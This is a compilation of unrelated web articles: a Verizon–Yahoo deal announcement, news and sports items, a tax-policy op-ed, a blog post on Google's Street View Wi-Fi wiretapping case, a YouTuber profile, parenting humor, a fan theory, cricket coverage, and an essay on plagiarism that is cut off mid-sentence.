mobile. We have a terrific, loyal, experienced and quality team, and I couldn't be prouder of our achievements to date, including building our new lines of business to $1.6 billion in GAAP revenue in 2015. I'm excited to extend our momentum through this transaction."  Tim Armstrong, CEO of AOL, said: "Our mission at AOL is to build brands people love, and we will continue to invest in and grow them. Yahoo has been a long-time investor in premium content and created some of the most beloved consumer brands in key categories like sports, news and finance."  Under Armstrong, AOL has invested in and grown global premium brands, including The Huffington Post, TechCrunch, Engadget, MAKERS and AOL.com, and market-leading programmatic platforms -- including ONE by AOL for both advertisers and publishers.  Armstrong added, "We have enormous respect for what Yahoo has accomplished: this transaction is about unleashing Yahoo's full potential, building upon our collective synergies, and strengthening and accelerating that growth. Combining Verizon, AOL and Yahoo will create a new powerful competitive rival in mobile media, and an open, scaled alternative offering for advertisers and publishers."  The addition of Yahoo to Verizon and AOL will create one of the largest portfolios of owned and partnered global brands with extensive distribution capabilities. Combined, AOL and Yahoo will have more than 25 brands in its portfolio for continued investment and growth. Yahoo's key assets include market-leading premium content brands in major categories including finance, news and sports, as well as one of the most popular email services globally with approximately 225 million monthly active users****. Additional technology assets in the advertising space include Brightroll, a programmatic demand-side platform; Flurry, an independent mobile apps analytics service; and Gemini, a native and search advertising solution.  The deal is subject to customary closing conditions, approval by Yahoo's shareholders, and regulatory approvals, and is expected to close in Q1 of 2017. Until the closing, Yahoo will continue to operate independently, offering and improving its own products and services for users, advertisers, developers and partners.  Verizon will generally issue cash-settled Verizon RSUs for Yahoo RSUs that are outstanding at the close.  The sale does not include Yahoo's cash, its shares in Alibaba Group Holdings, its shares in Yahoo Japan, Yahoo's convertible notes, certain minority investments, and Yahoo's non-core patents (called the Excalibur portfolio). These assets will continue to be held by Yahoo, which will change its name at closing and become a registered, publicly traded investment company. Yahoo will provide additional information about the investment company at a future date.  Yahoo intends to return substantially all of its net cash to shareholders and will determine and communicate a specific capital return strategy at an appropriate time.  LionTree Advisors, LLC, Allen & Company LLC, Bank of America Merrill Lynch and Guggenheim Securities, LLC are acting as financial advisors to Verizon. Wachtell, Lipton, Rosen & Katz, Gibson, Dunn & Crutcher LLP, Covington & Burling LLP and Winston & Strawn LLP are acting as legal advisors to Verizon.  Goldman, Sachs & Co., J.P. Morgan Securities LLC and PJT Partners are acting as financial advisors to the Yahoo Board and its Strategic Review Committee. Skadden, Arps, Slate, Meagher & Flom LLP, Wilson Sonsini Goodrich & Rosati and Weil Gotshal & Manges LLP are acting as legal advisors to Yahoo. Cravath, Swaine & Moore LLP is independent legal advisor to Yahoo's Strategic Review Committee.
-DALTONGANJ: A 25-year-old rape survivor from Palamu on Monday tried to make her point in the court of justice by ending her life.The girl, who was raped in 2011, was at the Palamu civil court for hearing in the case. After the principal district and sessions judge finished listening to her prosecution lawyer around 1 pm, the girl sought judge Vishnukant Sahay's permission to say something.Granting this, Sahay said she could do that through her lawyer. At that moment, the girl took out a small box of white powder, with sulphus written on it, from under her dress and consumed it.She was rushed to the hospital after lawyers and those present in the court noticed signs of unease in her behaviour. The doctor attending to the girl in the hospital, said she is critical and in shock.The rape survivor's lawyer NK Singh was also present.No relative has come to meet her yet. Debasis Mahapatra , registrar, civil courts said the girl had planned to end her life in the court. Mahapatra said the rape victim did this in a pre planned manner.The registrar said after PDJ heard her prosecution lawyer the victim told him that she wanted to say something more which the former granted by saying that she could do this through her lawyer.The rape victim pulled this surprise at this moment.The registrar said she did not take any tablet or capsule but it was some powder thar she consumed.The box bore the name of sulphas, a kind of deadly pesticide which farmers use.Sources said the rape victim did this in sheer desperation whereas the fact is that today was the day the argument in her case concluded.
-A new paper by Brookings Institution scholars and Tax Policy Center colleagues Bill Gale, Adam Looney, and Samuel Brown is generating lots of media buzz. Even Barack Obama has put his spin on it with a campaign ad that says if you are middle class, Mitt Romney wants to raise your taxes by up to $2,000 even as he cuts taxes for rich people like himself.  That is a powerful political message, but it isn’t how I read the Gale-Looney-Brown paper. To me, the study highlights something else: The deep contradictions embedded in Romney’s tax platform. Like most candidates, the former Massachusetts governor has made many promises. And like most, he cannot keep them all.  In this case, Romney has promised at least five big things. They are:  To start, he’d make all of the 2001 and 2003 tax cuts permanent but repeal the 2009 Obama tax cuts and the tax increases included in the 2010 health reform law.  After that, he’d cut tax rates by 20 percent across the board and eliminate both the Alternative Minimum Tax and the estate tax.  He’d eliminate taxes on investment income for couples making $200,000 or less (individuals making $100,000 or less) and keep current low rates for those with high incomes.  He’d do this without increasing the budget deficit (beyond the cost of extending the 2001-2003 tax cuts) by curbing some tax preferences.  He’d do it in a way that retains the progressivity of today’s tax system.  Romney’s problem is he cannot possibly achieve all of these goals. He is doomed by both political reality and simple mathematics.  Romney himself never says how he will make all this happen. Indeed, his tax platform includes a gaping hole. He says he’d finance these rate cuts by broadening the tax base--that is, by reducing some of the tax preferences that litter the Revenue Code. But he never says which of these deductions, credits, or exclusions he’d scale back—or how.  Thus, the real question is not whether Romney is proposing a huge middle-class tax increase (he isn’t). It is which of his ambitious campaign promises he will fail to keep.  That was the exercise that Brown, Gale and Looney engaged in. To show how hard it would be for Romney to achieve all of these goals, they assumed he’d keep his first four promises. If he did, they found it would be impossible for Romney to retain today’s levels of progressivity. Or, to say it another way, if Romney keeps the promises he has explicitly made, the middle class will pay higher taxes and the rich will pay lower taxes.  That’s because cutting rates this deeply without adding to the deficit or raising taxes on capital income would require massive cuts in those popular tax preferences that overwhelmingly benefit the middle- and upper middle-class. Brown, Gale, and Looney figure that tax breaks such as the deductions for mortgage interest and charitable giving or the exclusion for employer sponsored health insurance would have to be cut by as much as 65 percent for Romney’s plan to add up.  While their numbers are slightly different, their basic conclusion is the same as my TPC colleagues Eric Toder, Jim Nunns, Bob Williams and Hang Nguyen reached in their own paper a couple of weeks ago: You just can’t cut rates this deeply without either adding to the deficit or making steep, exceedingly painful cuts in tax preferences.  Of course, Romney doesn’t have to raise taxes on the middle class. He could fix this problem with less ambitious rate cuts on ordinary income, or by raising taxes on capital income. He could pay for his initiative outside of the individual income tax system by increasing corporate taxes—though he says he’d cut them. He could cut spending even more deeply than he’s already promised, though that would hurt low- and middle-income households too. Or he could just add to the deficit.  Thus, the right question to ask Romney is not whether he wants to raise taxes on the middle-class. The right question to ask is which of his campaign promises he will abandon.
-After weeks of speculation, Jimbo Fisher is leaving Florida State and will accept the head coaching job at Texas A&M:  The deal between Aggies and Jimbo Fisher has been done. Sources with knowledge of the process say 7.5 million /yr. For “Likely” 10 yrs. Negot. Began with at least 5 yrs..I am told he will arrive Sunday evening. Approval Monday followed by introduction @AggieFootball #Aggies — Randy McIlvoy (@RandyMcIlvoy) December 1, 2017  What makes this story a little bizarre is Jimbo seems to be trying to sneak out of Tallahassee in the middle of night according to Tomahawk Nation, who did some digging:  According to FlightAware.com, a Mitsubishi MU-2 will depart the Tallahassee International Airport at 4:45 on Friday morning. The MU-2 is a small twin turboprop private plane. Its destination? College Station, Texas, home of Texas A&M University. A&M, of course, has been courting FSU Head Coach Jimbo Fisher, and while we cannot confirm Jimbo Fisher will be on the flight, it has become common practice of fans and media to track flights from college town to college town in coaching search season.  According to the report, the private plane is owned by John E. Richardson, who’s a major Texas A&M donor. The flight is also set to return from College Station to Tallahassee after midnight early Saturday morning where Fisher would coach Florida State’s final game against Louisiana-Monroe, which is what Fisher claimed he plans to do.
-Looks like Google Street View cars may have been "officially" riding dirty and Google may get slapped hard for its Wi-Spy fiasco. A federal judge did not dismiss the case against Google; instead in the first such decision of its kind, the judge ruled that sniffing open Wi-Fi packets might violate the Federal Wiretap Act.  Remember when intelligence gathering ability was allegedly "going dark" due to the masses moving to VoIP like Skype and the feds had wanted CALEA to require a backdoor so law enforcement can intercept online encrypted communication? Microsoft's "Legal Intercept" patent to monitor VoIP may be the easy-access eavesdropping the feds were hoping for, but it also wasn't too long ago when the FBI was seeking Google's help in wiretapping. It's doubtful the kind of wiretapping help the FBI wanted would have included when the Internet search giant intercepted packets on non-password-protected Wi-Fi networks. But now Google may be legally liable for wiretapping in regards to the 600GB "payload" of MAC addresses, usernames, emails, passwords and other "private" data gobbled up by Street View mapping vehicles.  U.S. District Judge James Ware ruled, [PDF] "The court finds that plaintiffs plead facts sufficient to state a claim for violation of the Wiretap Act. In particular, plaintiffs plead that defendant intentionally created, approved of, and installed specially-designed software and technology into its Google Street View vehicles and used this technology to intercept plaintiffs' data packets, arguably electronic communications, from plaintiffs' personal Wi-Fi networks. Further, plaintiffs plead that the data packets were transmitted over Wi-Fi networks that were configured such that the packets were not readable by the general public without the use of sophisticated packet-sniffer technology."  Although Google argued the data was "readily accessible to the general public," because the networks "were 'open' and 'unencrypted'" and should not then qualify as a wiretapping violation, Judge Ware called that claim "misplaced." This case is important on many levels as it may determine if sniffing open Wi-Fi packets constitutes wiretapping. Sniffing open, unencrypted Wi-Fi is hardly rocket science these days; even the truly clueless can master automated tools like Firesheep and FaceNiff. Whether you leave your wireless network open and unencrypted, or sometimes use such a wireless network at a coffee shop, we should all be paying attention to this to find out if we could be sued for wiretapping.  Google had first claimed it didn't realize it was wardriving, sniffing and snarfing up data on unsecured Wi-Fi networks in about a dozen countries. Then it claimed the Street View car debacle was a mistake and apologized. Now Google claims the lawsuit is "without merit" as it argued that open Wi-Fi networks were like "radio communications." Since the judge is not letting Google wiggle off the wiretapping hook that easily, now the company is considering appealing and is "still evaluating our options at this preliminary stage." I wonder if we'll see Street View cars rollin' or if there are too many people hatin' now?
-We’ve all wanted to recapture that one great moment. From to day to day we will often think back on a specific time where we felt an explosion of emotion towards someone or something, but it can be difficult to properly recall it. There are some of us, however, who can masterfully parcel up that one significant memory and deliver it to the world. They are the artists, musicians, actors, and creators among us. One person in particular, GRsmash , has long been doing it for the Smash community, reawakening those feelings of grandeur within us and breathing life back into memories long since past.  The Youtuber’s name likely rings familiar. Since 2013, his content has touched the souls of upwards of 90 million total viewers, and not for no good reason. That’s because GRsmash’s top-ten-style videos are providing more than what their title solicits. Whether it be his “Top 10 Most Disrespectful Moments in Smash” or “Top 10 Most Awkward Handshakes”, everything he posts is always something the audience finds themselves reveling in. It’s that recapturing of moments, however hype or cringe-inducing, that reminds the viewers exactly what it means to be a part of the Smash community.  Competitive Smash was a relatively niche, grassroots faction of Youtube before the days of GRsmash. Around this time in 2013, not a lot of media populated the scene other than tournament VOD’s and combo videos, and subsequently content rarely ventured far from its intended audience. That stepping-stone towards larger outreach was absent and so the community lived inside its own little bubble, retracted from the mainstream.  As time went on, however, it was becoming increasingly apparent that Youtube could prove to be an excellent medium for showcasing the competitive scene to outsiders. Enter the ‘new-wave’ of Smash media: My Smash Corner , VGBootCamp , Rush Hour Smash , and GRsmash, just to name a few. These Youtubers pumped out Smash content on a never-before-scene systematic scale, helping the community break the mold and paving the way for a new era of connectivity.  By crafting content that presented the competitive scene in a easy-to-understand way, it became possible to bridge in that final gap towards growth. Although most channels were successful in their own right, in terms of sheer popularity GRsmash transcended all others. And there’s a valid reason for that.  One of GRsmash’s most popular videos, “Top 10 Falcon Punches”, has almost 2,000,000 views ​  To understand why, you don’t even need to be in the Smash scene. Stripped down to its core, his videos are something we can all relate to:  just people exuding passion for something that they love  . Whether it be a reaction to a sick combo with Falcon or a particularly unbelievable act of disrespect to the opponent, the viewer can instantly revel in whatever their watching because of the sheer excitement castors, spectators, and even competitors are displaying. It’s instantly likeable and relatable. To watch something as seemingly insignificant as a action in a video game and see it turned into something people literally scream over, that’s powerful. It’s something people want to be apart of, and it’s why I think GRsmash is responsible for a lot of growth in the scene. In his own words:  “ It's great to see just how much these commentators appreciate the sick plays that are being pulled off, or how much the crowd cheers after a crazy combo, or the laugh of an opponent after they just got completely styled on, or the pop off of a player that just clutched out a super close game. You can really see just how much each person absolutely loves the game and how much they enjoy watching/playing it. It really shows how truly awesome this community is. ” ​  The great thing about GRsmash’s videos is that he can make us relive moments we never experienced ourselves in the first place. We might click on a video expecting to find one thing, and we leave with something completely different yet all the more relevant. One video that does this particularly well is his “Top 10 Most Disrespectful Moments in Smash”. I started this video thinking I was going to see a couple of cool combos and I was proved thoroughly wrong as I finished it. Each clip in that video was entirely unlike the last: from Mango lasering Taj off stage in a twisted show of disrespect to BizarroFlame KO’ing his finishing a combo with uptilt as Ganon, every time I was wholly surprised and wondering how awesome the scene must appear if this was somebody's first time watching a video related to competitive Smash.  Some may think what GRsmash does is ‘easy money’ and he’s just leeching off other people's videos. Whether you think what he does is difficult or not is up for debate, but whatever the case may be, I definitely think there is an artistic element to what he makes. Anybody can compile a bunch of cool clips together and sit back to watch the views roll in. And sure, maybe that’s all some of GRsmash’s videos are at face value, but don’t be mistaken. There is legitimate effort that goes into finding just the right clip or perfect reaction even if it means skimming through hours of VOD’s and “doing better research”, as he put it. He also has a massive audience to constantly keep engaged with new and interesting ideas so that nothing grows stale. You would think it would’ve after 2+ years, but his uploads keep coming, with each one still obtaining a large amount of views.  A video of his that epitomizes his ability to craft a bunch of clips into something much more is his “M2K’s Marth is a Thing of Beauty”. It features a compilation of Jason “ Mew2King ” Zimmerman’s most remarkable combos with Marth. I suppose the clips in themselves make the video worth watching, but GRsmash thinks that isn’t enough. He adds a symphonic melody to sync up with each resolution of the combos, creating an resplendent, almost intoxicating atmosphere that illustrates to the viewer just how awesome M2K is. He reinforces the already sick d-airs, up-b’s, and dancing blade spikes with an extra layer of emphasis made possible by the careful placing of relevant clips together with his desired music choice. When people say Melee is like jazz, or poetry, or something similar, it can be hard to take them seriously. But GRsmash shows us that all the precise movements and tech-skill integral to competitive Melee have a striking beauty to it that makes the game worth playing. That’s art.  As for the future of Smash media, it’s hard to tell with certainty. But from here, it’s only uphill. “I feel like the content in general for the Smash scene has just been improving in quality nonstop” GRsmash told me in an interview. We’re in ‘The Golden Age’ of Smash media right now, and it shows: content has never been better. And whether it be GRsmash, VGBootCamp, ZeRo , or some other channel, media will continue to be disseminated for hundreds and thousands of Smash fans for here and to come.  “ For a long time, Smash had a huge lack of dedicated content creators. And due to the type of game that Smash is, and that it has a lot of secret tricks and techniques and things in general that aren't common knowledge, since the beginning of competitive Smash, top players and people interested in spreading knowledge have always been trying to get the word out and help develop the scene by developing guides, analysis, tutorials and just discussing the game in general. There are so many hidden tricks, match-ups, and stage choices etc in all of the smash games, and the community has always been trying to help develop the metagame and get that information out there. It's just due to the type of game Smash is. ” ​  On that last part GRsmash is right:  Smash is unique when compared to most fighting games  . We started from the grassroots out. Every game has an intriguing story-line, every scene a closely-knitted community, every match a showcase of the hours of practice and dedication puts towards the game they love. And it's because of people like him that the world is allowed to see this little idiosyncratic community. All the crazy combos, pop offs, and deafening screams that he broadcasts give us an opportunity to feel something we haven't felt in a while.  Maybe we are remembered of how hype we were when we watched that one combo as it happened live, or maybe we just want to see how other people reacted, or perhaps we simply want to see what makes this game great. Whatever your reason, behind the scenes there's somebody making it work and fitting the pieces together, somebody who has truly mastered the art of crafting content:  GRsmash  .
-Disclaimer: The following has not been scientifically proven nor has it been FDA approved. This advice is currently in the testing stages of development and has been known to backfire. Results may vary. Some see improvement in a few days, some a few weeks and for others, years. Seek immediate and professional help for the side effects this advice may cause. Side effects include (but are not limited to): rise in blood pressure, feeling as though your brain may explode, thoughts of vacationing alone on a secluded beach, rambling rants that make no sense at all, and questioning your decision to have children. And, like all advice, take it with a grain of salt and an ounce of laughter.  After someone finds out I am a mother to five children can you guess the first question I am asked?  “How do you do it?!”  Anytime I meet someone new and it is revealed that I have five kids, not two or three, I see the look. I am used to the look. Each and every new person I meet gives me the look. Being used to the whole five kid thing, I used to take the look personally. Now, I know better. Five kids is a shock to those who believe that after kid number three, all subsequent children added to the family are aliens. I can say with 100% accuracy, “although the kids may at times act like alien life forms, all five children are in fact, human beings.” After the shock of five kids sinks into the mind of my new acquaintance, I usually hear “OMG! I can’t handle my [insert number of children here]. How do you do it?!” Usually I give the same (but true) answer: “you get used to it and to be honest, it is easier when the five are together then it is when a member of the group is missing.”  What I have come to realize is, I am asked parenting advice all the time. I am not quite sure why I, but I am. Being the (self proclaimed) genius that I am, I have decided to put together a list of what I do or say to keep my four boys, two tweens and two teens, in line.  Remember, this advice is subject to change. No refunds will be given.  Call those boys out. When the boys would do one of their chores and it wasn’t done correctly, I used to keep quiet and fix whatever it was myself. Then I caught on. The boys were doing everything half assed, knowing I was going to do it correctly for them. Times have now changed and I no longer correctly put the dishes in the cabinets or go back and re-vacuum the floors. Nope. I call their tweeny, teenage butts out and make them redo whatever it was they had to do. It took a couple weeks on their part (and me letting go of the notion that tile can be spotlessly vacuumed by a ten year old) before our new arrangement worked. But once the kids knew I was onto them and once again in charge, they stopped half assing their chores and I found myself with a few extra minutes of spare time on my hands.  Joke, Joke, Joke. So. Talking about sex, drugs and rock n roll is not a fun or comfortable conversation to have with your kids. They are embarrassed. You’re not sure how much or how little you should be talking about. It’s awkward but something that needs to be had. To help ease into those conversations and to help keep that line of communication open, I joke a lot about the subjects with my kids. Now, I don’t turn sex into a joking matter but I do talk about it in a lighter tone. For instance, one of the teens was having a physical and the doctor didn’t give me a warning before he checked out the balls…it was awkward for me; my teen was dying. What did I do? “So, how are his balls doing? Seem ok? I want to be a grandmother one day…” Keep that line of communication open with your kids. Joke and make light of the tough situations. Just remember to not joke about things they will take personally, like their changing voice. Teenage boys do not like being told their voice is squeaking like Mickey Mouse. (Thank you darling 5 year old sister for that comment.)  Know Who Their Friends Are. I will not lie and say raising teenagers is easy. It is not. I am always worried about something. To keep an eye out on the kids and to ease my anxiety, we have turned our house into the place the kids want to hang out at. We have four xboxes set up so a large group of kids can play. We have a basketball hoop, an air hockey table, a bazillion and one footballs, baseballs, basketballs, whatever kind of balls. We have opened up our house to their friends so we can get to know them and their personalities. When they are here, they get their space. As long as they are behaved, polite and somewhat calm, we let them be.  Be Present at their Extracurricular Activities. I know people have to work and sometimes your schedule will not allow you time to sit through a two hour practice. But if you can, do it. I sit through practices, games, whatever. I don’t miss them. It is sometimes extremely tiring and boring but I do it. When your kid sees you sitting on the bleachers while they are in the batting cages or shooting 100 free throws, they aren’t thinking “haha, Mom’s butt must be so numb from sitting on that uncomfortable metal for two hours.” No. That is you thinking that. Kids notice what we do for them, whether they say something or not. They see you sitting there, night after night, game after game. They may not understand the devotion from you now but they will understand (and remember you sitting there) when they one day become parents.  Every once in awhile, shock the hell out of them. My kids are so accustomed to me telling them no that they are shocked when, every once in awhile, I say yes. The tweens have been asking me forever if they could stay up all night. My answer is always no. I don’t want to deal with the wrath of attitude that would follow the next day. One night, the boys half asked, half mumbled, knowing their attempt would fail. To their utter shock and amazement, I said YES! Well, you’d thought Christmas had come early. Sometimes dealing with the shitastic wrath of overtired kids is worth the shock and awe look on their faces.  Tell Your Kid(s) NO. Now that you have thrown an unexpected yes into their day, it’s time to reign them back into reality. Entitlement has become a big issue in our house. Major actually. They all want the newest electronic. They all want phones. They all want social media accounts. This entitlement factor is by far the hardest thing I have had to tackle as a parent. There is a fine line between balancing technology and kids. Don’t do it right, major problems and consequences can occur. You have to remember that you are the parent and have the right to say NO to any or all of these issues. Kids need to learn that things in life are not handed to you on a silver platter. Kids need to learn the meaning of the word NO. Kids need to remember that life occurs outside the screen of whatever electronic device they are staring at.(Barbara Greenberg wrote an excellent article on this topic. Click here to read it.)  Don’t Expect Them to be Perfect. Kids are kids. They are messy, loud, pain in the butts and far from perfect. Stop expecting them to be perfect little angels each and every minute of the day. Tweens and teens are a special group of human beings. They roll their eyes, forget how to speak, cop an attitude, and test their limits. They won’t ace every test or do every single homework assignment. I stopped expecting anything from them, instead telling them that I expect them to try their hardest at whatever it is (large or small) they are doing. If I see that they try their hardest and only get a C or score only one basket, I am happy. If I see that they got a C but they didn’t study, I have a problem.  Family Game Night. Family Game Night is a pain in the butt. I will admit it. Looking forward to it is hard. Inevitably someone ends up crying, someone ends up being picked on the entire game,and someone storms off before the game is over. Although Family Game Night is sometimes more hassle than it is fun, it is time spent together as a family. It’s the small moments that count sometimes more than the bigger ones. And one day we will all be able to look back and laugh at all the tears and torture that occurred…  Listen. Sometimes you have to be quiet, put down your iPhone, mute the television and listen to your kids. Your kids will talk to you as long as they know you are willing to listen to what they have to say. Let them speak. Save your opinions until they are done. Compromise with them if there is compromise to be had. Help them if they need help. Offer advice or tell a story of something you did that may help them relate to a situation.
-Should you visit Roald Dahl Plass on Google Maps, you will notice a jovial waving woman. She resembles a nanny who adheres to the philosophy that a small heap of sweetener allows medication to travel effortlessly down the gullet in a manner that most satisfactory. This appearance has not been lost to Tumblr user FireFlyAstoria, who has hypothesized a most supergallifreysticexpialidocious theory:  Do you know who that is? Yep, that's Mary Poppins.  Do you know where that is? Yep, that's Cardiff. Specifically, that's outside the Roald Dahl Plass.  Do you know what the Roald Dahl Plass is? Yep, the roof of Torchwood.  Do you know why Torchwood is there? Yep, that's because of the rift in Cardiff, specifically that rift for a specific reason.  Do you know where the Doctor re-fuels the TARDIS?  So tumblr was right.  Mary Poppins IS the Doctor.
-Paras Khadka: "We have an amazing fan following back home. The number of cricket fans that we have matches any Test-playing country." © AFP  Nepal captain Paras Khadka strode into the press conference room at a Dhaka hotel impressively. He stressed how Nepal have been working for more than a decade to get to this level, and not just to play in this edition of the World T20. They are among six teams to have made it to the first round of the World T20 from the Qualifier tournament held in the UAE last November.  "I think we are here to present Nepal cricket in front of the whole world," Khadka said. "It is a great opportunity for us. It is not like we have only qualified for this tournament and worked for three months. We have been playing for 10-12 years with hard work and playing continuous cricket. We are here to compete and play to the best of our ability. If we play to our potential, things should be good for us."  Khadka said that Nepal's participation in the tournament will boost cricket in the country, as the government has already taken interest. "I think we have been playing cricket since 1996. We have been part of the ACC (Asian Cricket Council) since then. CAN (Cricket Association of Nepal) is one of the oldest sporting associations back home. We are getting there.  "Football and cricket are the two most popular sports. Everybody follows us. Kids love the game. The game is really growing big time. It is very exciting. We have an amazing fan following back home. The number of cricket fans that we have matches any Test-playing country.  "For most people, Nepal came as a huge surprise to be playing at this level. This will be a breakthrough for the country itself. Once we qualified for the World Cup, the government is very keen to find out how to develop cricket further. I hope we can move forward from here."  Nepal shot to fame in the 2006 Under-19 World Cup in Sri Lanka where they became Plate champions, and Khadka said the senior team is now following up on the younger batch's impressive showing in that tournament over the years.  "There was always the criticism that we only do well at the U-19 level. But the national team is doing well in the last two years. You need the junior structure as well. What we need is a basic structure back home."  After Khadka, Rahul Vishwakarma said how he, like all his team-mates, had aspired to reach this stage since childhood. He met one of his heroes, Shakib Al Hasan, but didn't get a chance to talk to him. Like Shakib, he is a left-arm spinner and left-hand batsman and doesn't lack the confidence too.  "It feels great to be playing at this level, but we belong to this level," Vishwakarma said. "Hopefully we will do well in this tournament."  Mohammad Isam is ESPNcricinfo's Bangladesh correspondent. He tweets here  © ESPN Sports Media Ltd.
-How well I remember the sweetness of it. I was sit­ ting on a plane, reading a copy of The Spectator. Taki Theodoracopulos had written one of his “High Life” columns taking off after the sodomites of the Big Bagel (as he thoughtfully described the gorgeous mosaic of gay life in Manhattan). It was a spirited piece, made no less so by my growing conviction that I had read it before. By the time the plane landed, I had attained the “Gotcha” moment that is the Nirvana of the vengeful reader. It took me only an hour to get a fax of the “original article” (by Norman Podhoretz in the New York Post a few weeks previously), compare the sen­ tences word for word, and fire off an extremely contented and self-righteous letter to the editor of The Spectator. I knew that he would have no choice but to print it, and Taki and I were not get­ ting on very well at the time, so it was one of the most chore-free pieces of un­ paid writing that I have ever done. Dear reader, mark the sequel. Not many years later I wrote a strangely neglected book on the sculpture of the Parthenon. Reviewing this learned yet passionate text, *The Spectator’*s critic was good enough to notice a paragraph of mine about the arrangement of certain ancient stones. With a maddening loftiness, he com­ pared it to another paragraph, written by quite another author in quite an­ other book, and found it disconcertingly similar. Well, I mean to say, that was an entirely different matter. Once again I found myself writing (and once again, revoltingly, without any suggestion of payment) a letter to the editor of this irresponsible magazine. The case was quite clear and the misunderstanding laughably self­evident to any serious reader. Both I and Mr. William St. Clair—this was the name of the other author—had obviously drawn on the same original eyewitness de­ scription of the Acrop­ olis. What could be more natural than that both of us, committed scholars in our different ways, should have summarized the same source in much the same fashion? I need hardly say that that was the end of the story, except that I still wake up whimpering about it. Plagiarism. A nasty little word. In the world of classical antiquity (not that I have any great desire to bring that up all over again) the word plagiarius, which to Cicero meant manstealer or kidnapper, was used by Martial to denote a literary thief. Ever since, the crime has haunted writers of all calibers. Only a few weeks ago, Julian Barnes received a rather tepid review in The Times Literary Supplement of his new short-story collection, Cross Channel. The reviewer compared its style unfavorably with a “resonant image” in Barnes’s earlier novel Flaubert’s Parrot: “A pier is a disappointed bridge.” Then came one of those fearful letters, pointing out (doubtless to the discomfiture also of the reviewer, who hadn’t noticed it) that the line was from James Joyce’s Ulysses. So the question is: Did Barnes pick up this happy phrase subliminally, did he “annex” it for his own purposes, or did he simply assume that any litterate reader would spot the reference? I should say that this isone of the public questions most dreaded by writers of fiction, the other being the eqully knowing one about how much of their work is “autobiographical.”  An enterprising editor could probably appoint a special correspondent to cover plagiarism, and see the poor guy or gal worked nearly to death. Think only of monitoring Ruth Shalit, whose secret until recently was that she filched sentences from writers—such as Fred barnes and David Broder—whom she could be reasonably sure nobody else was bothering to read. Clever, but, as events have proved, not quite clever enough. *The New Yorker’*s February appreciation of Joseph Brodsky said that he had had a heart attack coming surely as next Christmas, a memorable line appropriated (honestly enough I thought) from Philip Larkin’s All What Jazz. Arianna Stassinopoulous Huffington, author of Picasso: Creator and Destroyer, put herself memorably in the debt of Ms. Lydia Gasman, who seems to have written an earlier study of Picasso which the divine Arianna did not acquire by transcendental means. And while we are on the subject of My Sweet Lord—a favored Huffington invocation—we find that not even the world of music is immune. George Harrison had to pay a tidy sum to the Chiffons, whose 1963 smash “ldquo;He’s So Fine” was ruled by a court to be the melodic ancestor of Geroge’s 1971 chartbuster. Experts have been retained on all sides to debate whether Sir Andrew Lloyd Webber ran out of inspiration and went with good old Puccini for some moments in The Phantom of the Opera. Many people believe that they could easily hold down a job on the plagirism desk. But if you think you know what plagirism is, you are making a very large claim—the claim that you know originality when you see it. Apart from being the small change, and occasionally the major currency, of arguments within the worlds of letters and journalism, what we call plagiarism is a subject with deep roots in our literature and huge implications for the crafts of writing and speaking. Let me start with a relatively shattering example: I looked at the man; I saw him plain; Like a dead weed, gray and wan, Or a breath of dust. I looked again— And man and dog were one, Like the wisps of a graying dawn … This comes from a poem called “Waste Land,” published in 1913. With the addition of a definite article to the title, T.S. Eliot published a rather more famous verse effort in 1922. Eliot’s poem which it would be trite to describe as the birth pang of poetic modernism, contained the imperishable line “I will show you fear in a handful of dust.” It also speaks of “the brown fog of a winter dawn.” See above. That’s what Robert Ian Scott, a Canadian scholar, has done. He has found a number of other “resemblances.” Aside from the title and the imagery, there is the matter of Eliot’s access to the earlier poem. Madison Cawein was a Cincinnati pool-hall cashier who died one year after his “Waste Land” was published. It was printed in a Chicago magazine of which Ezra Pound-Eliot’s friend and mentor-was European editor. Eliot had submitted a poem of his own to this very magazine. Moreover, in the self­ same issue in which Cawein’s “Waste Land” appeared, there was also an essay by Pound on poetry in London, which it is highly unlikely that Eliot would not have wanted to read. Hold whatever thought you have for a moment. Here is a quotation from Dr. Martin Luther King: In the course of its development western civilization has shifted from a colonial naivete of the frontier to the far­ reaching machination of nationalism and from an agrarian pattern of occupation to the industrial one. This comes from a seminary essay King wrote entitled “The Sources of Fundamentalism.” It compares with reasonable smoothness to an earlier text, which instructs the curious reader that: In the course of its development western civilization has shifted from a colonial naivete of the frontier to the far­ reaching machinations of nationalism and from an agrarian pattern of occupation to the industrial one. The missing s in the King version could even have been a misprint. Moving right along, we come to the great Scottish bard Hugh MacDiarmid. Here is his much-admired poem Perfect, published in 1939. I found a pigeon’s skull on the mach air, All the bones pure white and dry, and chalky, But perfect, Without a crack or a flaw anywhere. At the back, rising out of the beak, Were twin domes like bubbles of thin bone, Almost transparent, where the brain had been That fixed the tilt of the wings. And here is a passage from a book, The Blue Bed, by the Welsh writer Glyn Jones, published two years previously: On her palm lay the small frail skull of a seagull, white, and complete as a pebble. It was lovely, all the bones pure white and dry, and chalky, but perfect without a crack or a flaw anywhere. At the back, rising out of the beak were twin domes like bubbles of thin bones, almost trans­ parent, where the brain had been that fixed the tilt of the wings … These all look like pretty damning, not to say open-and-shut, cases. Reputations in politics and journalism have been drastically compromised for much less. (Think of poor Senator Joe Biden caught lifting a speech from the born loser Neil Kinnock.) But a second look discloses a lot of ambiguity. Take Eliot first. Did he derive “a handful of dust” from Madison Cawein? Or did he steal it instead from Charlotte Mew, who in a poem written in 1916 spoke of “a handful of forgotten dust”? Or did he per­ haps purloin the said handful from Virgil, Horace, Ovid, John Donne, Walter de la Mare, Alfred Tennyson, or Joseph Con­ rad, each of whom had employed the same phrase or something very close to it? And where had they taken it from? One might also want to make the point that Eliot’s verse’ is much more beautiful and powerful: And I will show you something different from either Your shadow at morning striding behind you Or your shadow at evening rising to meet you; I will show you fear in a handful of dust. Contrast that to the Cawein stanza above. What, then, about Dr. King? His various academic dissertations have been found to be honeycombed with other people’s property, and he seems to have had some very indulgent professors in college. It has even been alleged that part of the peroration of the “I Have a Dream” speech—the part about “from every mountainside, let freedom ring”—is lifted from, of all things, an address to the 1952 Republican convention by a black minister named Archibald Carey. But, of course, that line comes from “My Country, ’Tis of Thee,” which King quoted more or less completely. And do you know how the closing passage of King’s speech was sup­ posed to have begun? If he’d followed the typed script provided by a virtual committee of do-gooders King would have said, “And so today, let us go back to our communities as members of the international association for the advancement of creative dissatisfaction.” With the whole world watching, King realized that it wouldn’t do, threw away the text in mid­ stream, called on all he’d ever read, including the prophets Amos and Isaiah, and changed everything for the better­ and for good. He may have done a lot of borrowing in his life, but he synthesized the borrowings into something higher. MacDiarmid isn’t such an easy case. He didn’t dare advance the defense made by some friendly critics, such as Edwin Morgan, who argued that deft rearrangement of prose was itself a form of 